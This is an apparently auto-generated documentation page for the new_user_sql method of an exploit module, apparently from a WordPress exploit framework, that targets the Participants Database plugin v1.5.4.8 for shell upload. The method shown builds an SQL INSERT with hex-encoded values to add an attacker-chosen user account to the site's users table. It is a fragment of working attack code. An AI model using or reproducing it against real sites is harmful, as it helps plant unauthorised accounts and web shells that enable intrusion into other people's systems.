Method: Wpxf::Exploit::ParticipantsDatabaseV1548ShellUpload#new_user_sql

Defined in:
lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb

#new_user_sqlObject



101
102
103
104
105
106
107
108
# File 'lib/wpxf/modules/exploit/shell/participants_database_v1.5.4.8_shell_upload.rb', line 101

def new_user_sql
  [
    "insert into #{table_name('users')}",
    '(ID, user_login, user_pass, user_nicename, user_email, user_status, display_name)',
    'values',
    "(#{user_id}, #{hexified_username}, #{hexified_password_hash}, #{hexified_username}, #{hexified_email}, 0, #{hexified_username});"
  ].join(' ')
end